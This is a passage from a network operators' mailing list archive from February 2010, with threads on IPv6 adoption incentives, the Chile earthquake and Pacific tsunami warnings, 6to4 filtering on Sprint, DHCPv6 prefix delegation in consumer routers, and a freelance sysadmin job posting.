ITU IPv6 Group] In-Reply-To: <20100227040406.GH13373@macbook.catpipe.net> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> <20100227040406.GH13373@macbook.catpipe.net> Message-ID: <4B8906B7.8070203@foobar.org> On 27/02/2010 04:04, Phil Regnauld wrote: > I'm not saying that political incentives (carrot & stick) or government > regulations in the line of "implement IPv6 before X/Y or else..." have > had any effect, except maybe in Japan: Correct me if I'm wrong, but the Japanese government did two things: - tax incentivise ipv6 compliance - make meaningful ipv6 compliance mandatory when dealing with Japanese government technical contracts. The effect of this was to 1) create a direct financial incentive to deploy meaningfully, and 2) create an indirect financial incentive to deploy ipv6 meaningfully. Spot the pattern here? Nick From jmamodio at gmail.com Sat Feb 27 06:44:28 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 27 Feb 2010 06:44:28 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8906B7.8070203@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> <20100227040406.GH13373@macbook.catpipe.net> <4B8906B7.8070203@foobar.org> Message-ID: <202705b1002270444n6ed20bf9mc9838705f1eff544@mail.gmail.com> Long time ago (10+ years, Randy, others, correct me if I'm wrong) Japan had the vision and strategy for embracing IPv6 to assume a leadership position in the data telecommunications market. I remember how often during our (VRIO) IPO due diligence and later when the company became part of NTT, IPv6 was on every single conversation and plans. IPv6 was a must know, must do, must have. They knew and understood from the begining, yeah it is not a perfect protocol, yeah it is does not provide "security" per se, yeah many will start a catfight about NAT and other stuff, no it is not a conspiracy from router vendors to sell you more gear. IPv4 address space is a finite resource and sooner or later we will run out of it, then the earlier we prepare for its replacement the better. Meanwhile as you said, for others long term vision means the next quarter. Jorge From LarrySheldon at cox.net Sat Feb 27 06:47:37 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 27 Feb 2010 06:47:37 -0600 Subject: Chile (fyi) In-Reply-To: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> Message-ID: <4B891469.4090705@cox.net> On 2/27/2010 1:20 AM, chaim.rieger at gmail.com wrote: > Gettingreports of loss of connectivity to parts of chile > > They had an 8.5 a short while ago. At that magnitude, I don't know how significant .3 is, but from the USGS: == PRELIMINARY EARTHQUAKE REPORT == ***This event has been revised. Region: OFFSHORE MAULE, CHILE Geographic coordinates: 35.846S, 72.718W Magnitude: 8.8 Mw Depth: 35 km Universal Time (UTC): 27 Feb 2010 06:34:14 Time near the Epicenter: 27 Feb 2010 03:34:14 Local standard time in your area: 27 Feb 2010 00:34:14 Location with respect to nearby cities: 104 km (65 miles) WSW (246 degrees) of Talca, Chile 114 km (71 miles) NNE (15 degrees) of Concepcion, Chile 321 km (200 miles) SW (215 degrees) of SANTIAGO, Chile -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From jmamodio at gmail.com Sat Feb 27 06:49:40 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 27 Feb 2010 06:49:40 -0600 Subject: Chile (fyi) In-Reply-To: <4B891469.4090705@cox.net> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> Message-ID: <202705b1002270449k40b2067dna551d89fb3ec7cdf@mail.gmail.com> http://www.cnn.com/2010/WORLD/americas/02/27/chile.quake/index.html?hpt=T1 On Sat, Feb 27, 2010 at 6:47 AM, Larry Sheldon wrote: > On 2/27/2010 1:20 AM, chaim.rieger at gmail.com wrote: >> Gettingreports of loss of connectivity to parts of chile >> >> They had an 8.5 a short while ago. > > At that magnitude, I don't know how significant .3 is, but from the USGS: > > > ? ? ? ? ? ? ? ? ? ? == PRELIMINARY EARTHQUAKE REPORT == > > ***This event has been revised. > > > Region: ? ? ? ? ? ? ? ? ? ? ? ? ? ?OFFSHORE MAULE, CHILE > Geographic coordinates: ? ? ? ? ? ?35.846S, ?72.718W > Magnitude: ? ? ? ? ? ? ? ? ? ? ? ?8.8 Mw > Depth: ? ? ? ? ? ? ? ? ? ? ? ? ? ?35 km > Universal Time (UTC): ? ? ? ? ? ? 27 Feb 2010 ?06:34:14 > Time near the Epicenter: ? ? ? ? ?27 Feb 2010 ?03:34:14 > Local standard time in your area: 27 Feb 2010 ?00:34:14 > > Location with respect to nearby cities: > ?104 km (65 miles) WSW (246 degrees) of Talca, Chile > ?114 km (71 miles) NNE (15 degrees) of Concepcion, Chile > ?321 km (200 miles) SW (215 degrees) of SANTIAGO, Chile > > > > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: ?The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: ?http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > > From LarrySheldon at cox.net Sat Feb 27 06:50:43 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 27 Feb 2010 06:50:43 -0600 Subject: Chile (fyi) In-Reply-To: <4B891469.4090705@cox.net> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> Message-ID: <4B891523.5020403@cox.net> On 2/27/2010 6:47 AM, Larry Sheldon wrote: > On 2/27/2010 1:20 AM, chaim.rieger at gmail.com wrote: >> Gettingreports of loss of connectivity to parts of chile >> >> They had an 8.5 a short while ago. > > At that magnitude, I don't know how significant .3 is, but from the USGS: > > > == PRELIMINARY EARTHQUAKE REPORT == > > ***This event has been revised. > > > Region: OFFSHORE MAULE, CHILE > Geographic coordinates: 35.846S, 72.718W > Magnitude: 8.8 Mw > Depth: 35 km > Universal Time (UTC): 27 Feb 2010 06:34:14 > Time near the Epicenter: 27 Feb 2010 03:34:14 > Local standard time in your area: 27 Feb 2010 00:34:14 > > Location with respect to nearby cities: > 104 km (65 miles) WSW (246 degrees) of Talca, Chile > 114 km (71 miles) NNE (15 degrees) of Concepcion, Chile > 321 km (200 miles) SW (215 degrees) of SANTIAGO, Chile And there are a bunch of other reports, many of them in 5-6 range. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From mustafa.golam at gmail.com Sat Feb 27 06:53:01 2010 From: mustafa.golam at gmail.com (Mustafa Golam -) Date: Sat, 27 Feb 2010 18:53:01 +0600 Subject: Chile (fyi) In-Reply-To: <202705b1002270449k40b2067dna551d89fb3ec7cdf@mail.gmail.com> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> <202705b1002270449k40b2067dna551d89fb3ec7cdf@mail.gmail.com> Message-ID: On Sat, Feb 27, 2010 at 6:49 PM, Jorge Amodio wrote: > http://www.cnn.com/2010/WORLD/americas/02/27/chile.quake/index.html?hpt=T1 > Update: Tsunami warning extended to countries as far as Australia and Japan, after #Chile quake http://bit.ly/ayPOgX --Mustafa From jmamodio at gmail.com Sat Feb 27 07:01:11 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 27 Feb 2010 07:01:11 -0600 Subject: Chile (fyi) In-Reply-To: <4B891523.5020403@cox.net> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> <4B891523.5020403@cox.net> Message-ID: <202705b1002270501v152c6800v2d1a8d012c8a99ae@mail.gmail.com> There are many streams from Chile on Ustream, TV de Chile http://www.ustream.tv/channel-popup/tv-de-chile They are reporting that at least a 15 story building is down, emergency services are trying to organize, chemistry lab of a local uni campus blew up due a fire started by the quake, more than 25 after shocks ... From standalone.sysadmin at gmail.com Sat Feb 27 07:15:04 2010 From: standalone.sysadmin at gmail.com (Matt Simmons) Date: Sat, 27 Feb 2010 08:15:04 -0500 Subject: Chile (fyi) In-Reply-To: <202705b1002270501v152c6800v2d1a8d012c8a99ae@mail.gmail.com> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> <4B891523.5020403@cox.net> <202705b1002270501v152c6800v2d1a8d012c8a99ae@mail.gmail.com> Message-ID: <5bcb62b61002270515m7b186764g71693a0ca3fa6c56@mail.gmail.com> Just a reminder, if you see a receding ocean, run away. That means a tsunami is imminent. On Sat, Feb 27, 2010 at 8:01 AM, Jorge Amodio wrote: > There are many streams from Chile on Ustream, TV de Chile > http://www.ustream.tv/channel-popup/tv-de-chile > > They are reporting that at least a 15 story building is down, > emergency services are trying to organize, chemistry lab of a local > uni campus blew up due a fire started by the quake, more than 25 after > shocks ... > > -- LITTLE GIRL: But which cookie will you eat FIRST? COOKIE MONSTER: Me think you have misconception of cookie-eating process. COOKIE MONSTER: Boy, I wish I were a sysadmin so I could go to the NJ-PICC Sysadmin Conference! http://www.picconf.org From tme at americafree.tv Sat Feb 27 07:54:58 2010 From: tme at americafree.tv (Marshall Eubanks) Date: Sat, 27 Feb 2010 08:54:58 -0500 Subject: Chile (fyi) In-Reply-To: <202705b1002270449k40b2067dna551d89fb3ec7cdf@mail.gmail.com> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> <202705b1002270449k40b2067dna551d89fb3ec7cdf@mail.gmail.com> Message-ID: <1C933EF7-5E84-473B-AA07-5F27A613DD7F@americafree.tv> On Feb 27, 2010, at 7:49 AM, Jorge Amodio wrote: > http://www.cnn.com/2010/WORLD/americas/02/27/chile.quake/index.html?hpt=T1 > > On Sat, Feb 27, 2010 at 6:47 AM, Larry Sheldon > wrote: >> On 2/27/2010 1:20 AM, chaim.rieger at gmail.com wrote: >>> Gettingreports of loss of connectivity to parts of chile >>> >>> They had an 8.5 a short while ago. >> >> At that magnitude, I don't know how significant .3 is, but from the >> USGS: They use the magnitude moment scale (Mw), and 0.3 magnitudes means 2.8 times the energy. Mw = 8.8 is equivalent to maybe 5 Teratons of TNT. Regards Marshall >> >> >> == PRELIMINARY EARTHQUAKE REPORT == >> >> ***This event has been revised. >> >> >> Region: OFFSHORE MAULE, CHILE >> Geographic coordinates: 35.846S, 72.718W >> Magnitude: 8.8 Mw >> Depth: 35 km >> Universal Time (UTC): 27 Feb 2010 06:34:14 >> Time near the Epicenter: 27 Feb 2010 03:34:14 >> Local standard time in your area: 27 Feb 2010 00:34:14 >> >> Location with respect to nearby cities: >> 104 km (65 miles) WSW (246 degrees) of Talca, Chile >> 114 km (71 miles) NNE (15 degrees) of Concepcion, Chile >> 321 km (200 miles) SW (215 degrees) of SANTIAGO, Chile >> >> >> >> -- >> "Government big enough to supply everything you need is big enough to >> take everything you have." >> >> Remember: The Ark was built by amateurs, the Titanic by >> professionals. >> >> Requiescas in pace o email >> Ex turpi causa non oritur actio >> Eppure si rinfresca >> >> ICBM Targeting Information: http://tinyurl.com/4sqczs >> http://tinyurl.com/7tp8ml >> >> >> > > From izaac at setec.org Sat Feb 27 09:13:39 2010 From: izaac at setec.org (Izaac) Date: Sat, 27 Feb 2010 10:13:39 -0500 Subject: 6to4 on Sprint Wireless Broadband Message-ID: <20100227151325.GB671@koltblut.setec.org> A few months ago, is appears that Sprint started dropping 6to4 encapsulated packets. Egress is fine. Ingress silently drops. Anyone see anything similar? Or am I the only guy crazy enough to be doing this sort of thing in the first place? -- . ___ ___ . . ___ . \ / |\ |\ \ . _\_ /__ |-\ |-\ \__ From frnkblk at iname.com Sat Feb 27 10:59:45 2010 From: frnkblk at iname.com (Frank Bulk) Date: Sat, 27 Feb 2010 10:59:45 -0600 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: <4B23AC4A.5020601@gmail.com> References: <4B16F535.70306@sunwave.net> <4B16F66E.70602@gmail.com> <637017EB-B829-459B-BFF4-E1B7145F0012@internode.com.au> <4B177ABA.70203@internode.com.au> <4B23AC4A.5020601@gmail.com> Message-ID: Heard from a D-Link product manager that code that supports DHCPv6-PD will be available in the next month or two. I had asked about the DIR-615 and DIR-825, but he didn't mention which platform(s). This is good news. Frank -----Original Message----- From: Alexandru Petrescu [mailto:alexandru.petrescu at gmail.com] Sent: Saturday, December 12, 2009 8:44 AM To: Mohacsi Janos Cc: nanog at nanog.org Subject: Re: Consumer Grade - IPV6 Enabled Router Firewalls. Mohacsi Janos a ?crit : > > > > On Thu, 3 Dec 2009, Matthew Moyle-Croft wrote: > >> >> >> Mohacsi Janos wrote: >>> >>> >>> According to Apple the latest Apple Airport Extreme does support >>> DHCPv6 prefix delegation and native IPv6 uplink not only 6to4. >> Airports don't support DHCPv6 PD yet. I'm led to believe that they >> may in the future from my Apple friends but not yet. > > It does in a limited extent: > http://lists.apple.com/archives/Ipv6-dev/2009/Oct/msg00086.html Not sure that is DHCPv6 PD (Prefix Delegation), the discussion doesn't seem to say so. If it is it would be wonderful. > I will check soon the hardware. Great, please report, thanks, Alex > > > Best Regards, > Janos Mohacsi > > > From LarrySheldon at cox.net Sat Feb 27 11:09:53 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 27 Feb 2010 11:09:53 -0600 Subject: Tsunami Message-ID: <4B8951E1.2030509@cox.net> Al Gore was fake, the Chilean Earthquakes are real. If you have interests near the Pacific Ocean, read up on the Tsunami warnings for the area of your interest. http://www.breitbart.com/article.php?id=D9E4DMIG0&show_article=1 -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From tme at americafree.tv Sat Feb 27 11:21:04 2010 From: tme at americafree.tv (Marshall Eubanks) Date: Sat, 27 Feb 2010 12:21:04 -0500 Subject: Chile (fyi) In-Reply-To: <1C933EF7-5E84-473B-AA07-5F27A613DD7F@americafree.tv> References: <1115689540-1267255229-cardhu_decombobulator_blackberry.rim.net-777581088-@bda2124.bisx.prod.on.blackberry> <4B891469.4090705@cox.net> <202705b1002270449k40b2067dna551d89fb3ec7cdf@mail.gmail.com> <1C933EF7-5E84-473B-AA07-5F27A613DD7F@americafree.tv> Message-ID: On Feb 27, 2010, at 8:54 AM, Marshall Eubanks wrote: > > On Feb 27, 2010, at 7:49 AM, Jorge Amodio wrote: > >> http://www.cnn.com/2010/WORLD/americas/02/27/chile.quake/index.html?hpt=T1 >> >> On Sat, Feb 27, 2010 at 6:47 AM, Larry Sheldon >> wrote: >>> On 2/27/2010 1:20 AM, chaim.rieger at gmail.com wrote: >>>> Gettingreports of loss of connectivity to parts of chile >>>> >>>> They had an 8.5 a short while ago. >>> >>> At that magnitude, I don't know how significant .3 is, but from >>> the USGS: > > They use the magnitude moment scale (Mw), and 0.3 magnitudes means > 2.8 times the energy. > > Mw = 8.8 is equivalent to maybe 5 Teratons of TNT. > > Regards > Marshall > http://www.prh.noaa.gov/ptwc/?region=1 has Tsunami warnings from this event. This http://www.prh.noaa.gov/ptwc/messages/pacific/2010/pacific.2010.02.27.154316.txt has a list of predicted Tsunami arrival times for a wide range of locations in the Pacific, including NEW ZEALAND EAST CAPE 37.7S 178.5E 1918Z 27 FEB AUSTRALIA HOBART 43.3S 147.6E 2105Z 27 FEB HAWAII HILO 19.7N 155.1W 2119Z 27 FEB JAPAN KUSHIRO 42.9N 144.3E 0435Z 28 FEB CHINESE TAIPEI HUALIEN 24.0N 121.6E 0626Z 28 FEB Z is of course UTC. Regards Marshall > >>> >>> >>> == PRELIMINARY EARTHQUAKE REPORT == >>> >>> ***This event has been revised. >>> >>> >>> Region: OFFSHORE MAULE, CHILE >>> Geographic coordinates: 35.846S, 72.718W >>> Magnitude: 8.8 Mw >>> Depth: 35 km >>> Universal Time (UTC): 27 Feb 2010 06:34:14 >>> Time near the Epicenter: 27 Feb 2010 03:34:14 >>> Local standard time in your area: 27 Feb 2010 00:34:14 >>> >>> Location with respect to nearby cities: >>> 104 km (65 miles) WSW (246 degrees) of Talca, Chile >>> 114 km (71 miles) NNE (15 degrees) of Concepcion, Chile >>> 321 km (200 miles) SW (215 degrees) of SANTIAGO, Chile >>> >>> >>> >>> -- >>> "Government big enough to supply everything you need is big enough >>> to >>> take everything you have." >>> >>> Remember: The Ark was built by amateurs, the Titanic by >>> professionals. >>> >>> Requiescas in pace o email >>> Ex turpi causa non oritur actio >>> Eppure si rinfresca >>> >>> ICBM Targeting Information: http://tinyurl.com/4sqczs >>> http://tinyurl.com/7tp8ml >>> >>> >>> >> >> > > > From jason at weatherserver.net Sat Feb 27 11:24:23 2010 From: jason at weatherserver.net (Jason L) Date: Sat, 27 Feb 2010 12:24:23 -0500 Subject: Tsunami In-Reply-To: <4B8951E1.2030509@cox.net> References: <4B8951E1.2030509@cox.net> Message-ID: <4B895547.1060308@weatherserver.net> 6:01am HST (11:01am EDT) Evac sirens sounded across the Hawaii Islands and the wave is expected at 11:05am HST (4:05pm EDT) this is updated as it was 11:19am before. From tony at lava.net Sat Feb 27 12:08:08 2010 From: tony at lava.net (Antonio Querubin) Date: Sat, 27 Feb 2010 08:08:08 -1000 (HST) Subject: Tsunami In-Reply-To: <4B895547.1060308@weatherserver.net> References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> Message-ID: On Sat, 27 Feb 2010, Jason L wrote: > 6:01am HST (11:01am EDT) Evac sirens sounded across the Hawaii Islands and > the wave is expected at 11:05am HST (4:05pm EDT) this is updated as it was > 11:19am before. Tsunami evacuation zone areas are being advised to evacuate. But of course the online maps are actually offline today for some reason. Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From kauto.huopio at ficora.fi Sat Feb 27 12:25:20 2010 From: kauto.huopio at ficora.fi (Kauto Huopio) Date: Sat, 27 Feb 2010 20:25:20 +0200 Subject: Tsunami In-Reply-To: References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> Message-ID: <4B896390.8010509@ficora.fi> On 2/27/10 8:08 PM, Antonio Querubin wrote: > Tsunami evacuation zone areas are being advised to evacuate. But of > course the online maps are actually offline today for some reason. I'd guess HI civil defence would not mind some quick assistance by a CDN.. --Kauto From jon at fido.net Sat Feb 27 12:43:24 2010 From: jon at fido.net (Jon Morby | fido) Date: Sat, 27 Feb 2010 18:43:24 +0000 Subject: Freelance SysAdmin wanted in Washington DC area Message-ID: Hi Not sure if anyone here is looking for some (extra?) work, or knows someone with an IT support business or just someone who is currently unemployed and looking to work on (initially) a part time basis? I'm looking for a freelance support/network engineer with experience of Redhat/CentOS, as well as preferably Cisco and Juniper (and possibly OpenBSD) to work with us supporting our US and UK operations Why freelance? Well because we're a self funded "startup" and don't have a lot of cash (yet) ... and preferably Washington DC as we've just inherited a small mountain of kit in the Equinix/Ashburn area and will need someone to go and kick it occasionally. If you know anyone who might be interested, can you ask them to email me directly (jon at fido.net) or call me on +44-20-30-519-519 / +1 (206) 501 4562 Regards, Jon Morby FidoNet Registration Services Ltd / Fido LLC From tony at lava.net Sat Feb 27 12:52:20 2010 From: tony at lava.net (Antonio Querubin) Date: Sat, 27 Feb 2010 08:52:20 -1000 (HST) Subject: Tsunami In-Reply-To: <4B896390.8010509@ficora.fi> References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> <4B896390.8010509@ficora.fi> Message-ID: On Sat, 27 Feb 2010, Kauto Huopio wrote: > On 2/27/10 8:08 PM, Antonio Querubin wrote: > >> Tsunami evacuation zone areas are being advised to evacuate. But of >> course the online maps are actually offline today for some reason. > > I'd guess HI civil defence would not mind some quick assistance by a CDN.. The telephone book versions are online though. Antonio Querubin 808-545-5282 x3003 e-mail/xmpp: tony at lava.net From LarrySheldon at cox.net Sat Feb 27 12:55:28 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 27 Feb 2010 12:55:28 -0600 Subject: Tsunami In-Reply-To: References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> <4B896390.8010509@ficora.fi> Message-ID: <4B896AA0.5000608@cox.net> On 2/27/2010 12:52 PM, Antonio Querubin wrote: > On Sat, 27 Feb 2010, Kauto Huopio wrote: > >> On 2/27/10 8:08 PM, Antonio Querubin wrote: >> >>> Tsunami evacuation zone areas are being advised to evacuate. But of >>> course the online maps are actually offline today for some reason. >> >> I'd guess HI civil defence would not mind some quick assistance by a CDN.. > > The telephone book versions are online though. FYI http://www.wunderground.com/US/CA/087.html Scroll down a ways. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From jason at weatherserver.net Sat Feb 27 13:00:20 2010 From: jason at weatherserver.net (Jason L) Date: Sat, 27 Feb 2010 14:00:20 -0500 Subject: Tsunami In-Reply-To: <4B896AA0.5000608@cox.net> References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> <4B896390.8010509@ficora.fi> <4B896AA0.5000608@cox.net> Message-ID: <4B896BC4.9090101@weatherserver.net> For anyone interested in live tv coverage http://www.weatherserver.net/earthquake/ They are windows media feeds from Hawaii TV stations. From joelja at bogus.com Sat Feb 27 13:26:41 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Sat, 27 Feb 2010 11:26:41 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B8906B7.8070203@foobar.org> References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> <4B8843F4.9070108@foobar.org> <4B886B33.9080403@foobar.org> <20100227040406.GH13373@macbook.catpipe.net> <4B8906B7.8070203@foobar.org> Message-ID: <4B8971F1.8030204@bogus.com> On 02/27/2010 03:49 AM, Nick Hilliard wrote: > On 27/02/2010 04:04, Phil Regnauld wrote: >> I'm not saying that political incentives (carrot & stick) or government >> regulations in the line of "implement IPv6 before X/Y or else..." have >> had any effect, except maybe in Japan: > > Correct me if I'm wrong, but the Japanese government did two things: > > - tax incentivise ipv6 compliance > - make meaningful ipv6 compliance mandatory when dealing with Japanese > government technical contracts. > > The effect of this was to 1) create a direct financial incentive to deploy > meaningfully, and 2) create an indirect financial incentive to deploy ipv6 > meaningfully. Spot the pattern here? If you are a network contractor for the US government or a vendor selling network equipment to the DOD then you've had a similar incentive, if it's not there, you're not going to end up on the approved suppliers list. > Nick > From jared at puck.nether.net Sat Feb 27 13:35:42 2010 From: jared at puck.nether.net (Jared Mauch) Date: Sat, 27 Feb 2010 14:35:42 -0500 Subject: Tsunami In-Reply-To: <4B896AA0.5000608@cox.net> References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> <4B896390.8010509@ficora.fi> <4B896AA0.5000608@cox.net> Message-ID: <7118D08F-08C9-4C39-921E-8B2B4A355959@puck.nether.net> http://www.prh.noaa.gov/ptwc/ Is a good place to read the warnings and data about measured tsunamai heights. Jared Mauch On Feb 27, 2010, at 1:55 PM, Larry Sheldon wrote: > On 2/27/2010 12:52 PM, Antonio Querubin wrote: >> On Sat, 27 Feb 2010, Kauto Huopio wrote: >> >>> On 2/27/10 8:08 PM, Antonio Querubin wrote: >>> >>>> Tsunami evacuation zone areas are being advised to evacuate. But >>>> of >>>> course the online maps are actually offline today for some reason. >>> >>> I'd guess HI civil defence would not mind some quick assistance by >>> a CDN.. >> >> The telephone book versions are online though. > > FYI > > http://www.wunderground.com/US/CA/087.html > > Scroll down a ways. > > > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: The Ark was built by amateurs, the Titanic by > professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > From joelja at bogus.com Sat Feb 27 14:54:11 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Sat, 27 Feb 2010 12:54:11 -0800 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: References: <4B16F535.70306@sunwave.net> <4B16F66E.70602@gmail.com> <637017EB-B829-459B-BFF4-E1B7145F0012@internode.com.au> <4B177ABA.70203@internode.com.au> <4B23AC4A.5020601@gmail.com> Message-ID: <4B898673.30501@bogus.com> Modula the lack of pd, I found the ipv6 support for the dir-825 (along with the other things it does well) to be rather decent. If people need gig-e simultaneous dual band abgn home routers for ~$130 you should check the thing out. On 02/27/2010 08:59 AM, Frank Bulk wrote: > Heard from a D-Link product manager that code that supports DHCPv6-PD will > be available in the next month or two. I had asked about the DIR-615 and > DIR-825, but he didn't mention which platform(s). > > This is good news. > > Frank > > -----Original Message----- > From: Alexandru Petrescu [mailto:alexandru.petrescu at gmail.com] > Sent: Saturday, December 12, 2009 8:44 AM > To: Mohacsi Janos > Cc: nanog at nanog.org > Subject: Re: Consumer Grade - IPV6 Enabled Router Firewalls. > > Mohacsi Janos a ?crit : >> >> >> >> On Thu, 3 Dec 2009, Matthew Moyle-Croft wrote: >> >>> >>> >>> Mohacsi Janos wrote: >>>> >>>> >>>> According to Apple the latest Apple Airport Extreme does support >>>> DHCPv6 prefix delegation and native IPv6 uplink not only 6to4. >>> Airports don't support DHCPv6 PD yet. I'm led to believe that they >>> may in the future from my Apple friends but not yet. >> >> It does in a limited extent: >> http://lists.apple.com/archives/Ipv6-dev/2009/Oct/msg00086.html > > Not sure that is DHCPv6 PD (Prefix Delegation), the discussion doesn't > seem to say so. If it is it would be wonderful. > >> I will check soon the hardware. > > Great, please report, thanks, > > Alex > >> >> >> Best Regards, >> Janos Mohacsi >> >> >> > > > From tme at americafree.tv Sat Feb 27 14:56:16 2010 From: tme at americafree.tv (Marshall Eubanks) Date: Sat, 27 Feb 2010 15:56:16 -0500 Subject: Tsunami In-Reply-To: <7118D08F-08C9-4C39-921E-8B2B4A355959@puck.nether.net> References: <4B8951E1.2030509@cox.net> <4B895547.1060308@weatherserver.net> <4B896390.8010509@ficora.fi> <4B896AA0.5000608@cox.net> <7118D08F-08C9-4C39-921E-8B2B4A355959@puck.nether.net> Message-ID: <2ECB782E-0007-4F53-9403-1E40DE8DDF57@americafree.tv> The Tsunami is big enough to be dangerous but seems not to be too major : http://www.prh.noaa.gov/ptwc/messages/pacific/2010/pacific.2010.02.27.202736.txt LOTTIN PT NZ 37.6S 178.2E 1934Z 0.15M / 0.5FT 10MIN CABO SAN LUCAS MX 22.9N 109.9W 1833Z 0.36M / 1.2FT 12MIN ACAPULCO MX 16.8N 99.9W 1549Z 0.16M / 0.5FT 24MIN PAPEETE TAHITI 17.5S 149.6W 1810Z 0.16M / 0.5FT 10MIN People on the Pacific coast should of course certainly pay attention to the warnings of their local authorities. Regards Marshall On Feb 27, 2010, at 2:35 PM, Jared Mauch wrote: > http://www.prh.noaa.gov/ptwc/ > > Is a good place to read the warnings and data about measured > tsunamai heights. > > Jared Mauch > > On Feb 27, 2010, at 1:55 PM, Larry Sheldon > wrote: > >> On 2/27/2010 12:52 PM, Antonio Querubin wrote: >>> On Sat, 27 Feb 2010, Kauto Huopio wrote: >>> >>>> On 2/27/10 8:08 PM, Antonio Querubin wrote: >>>> >>>>> Tsunami evacuation zone areas are being advised to evacuate. >>>>> But of >>>>> course the online maps are actually offline today for some reason. >>>> >>>> I'd guess HI civil defence would not mind some quick assistance >>>> by a CDN.. >>> >>> The telephone book versions are online though. >> >> FYI >> >> http://www.wunderground.com/US/CA/087.html >> >> Scroll down a ways. >> >> >> -- >> "Government big enough to supply everything you need is big enough to >> take everything you have." >> >> Remember: The Ark was built by amateurs, the Titanic by >> professionals. >> >> Requiescas in pace o email >> Ex turpi causa non oritur actio >> Eppure si rinfresca >> >> ICBM Targeting Information: http://tinyurl.com/4sqczs >> http://tinyurl.com/7tp8ml >> > > From john_brzozowski at cable.comcast.com Sat Feb 27 14:58:27 2010 From: john_brzozowski at cable.comcast.com (John Jason Brzozowski) Date: Sat, 27 Feb 2010 15:58:27 -0500 Subject: Consumer Grade - IPV6 Enabled Router Firewalls. In-Reply-To: Message-ID: Related to the comment below the latest release of the Apple Airport Extremes and Time Capsules support IPv6 including prefix delegation and stateful DHCPv6 on the WAN interface. I am also working with Netgear and several others to ensure similar functionality is supported. John On 2/27/10 11:59 AM, "Frank Bulk" wrote: > Heard from a D-Link product manager that code that supports DHCPv6-PD will > be available in the next month or two. I had asked about the DIR-615 and > DIR-825, but he didn't mention which platform(s). > > This is good news. > > Frank > > -----Original Message----- > From: Alexandru Petrescu [mailto:alexandru.petrescu at gmail.com] > Sent: Saturday, December 12, 2009 8:44 AM > To: Mohacsi Janos > Cc: nanog at nanog.org > Subject: Re: Consumer Grade - IPV6 Enabled Router Firewalls. > > Mohacsi Janos a ?crit : >> >> >> >> On Thu, 3 Dec 2009, Matthew Moyle-Croft wrote: >> >>> >>> >>> Mohacsi Janos wrote: >>>> >>>> >>>> According to Apple the latest 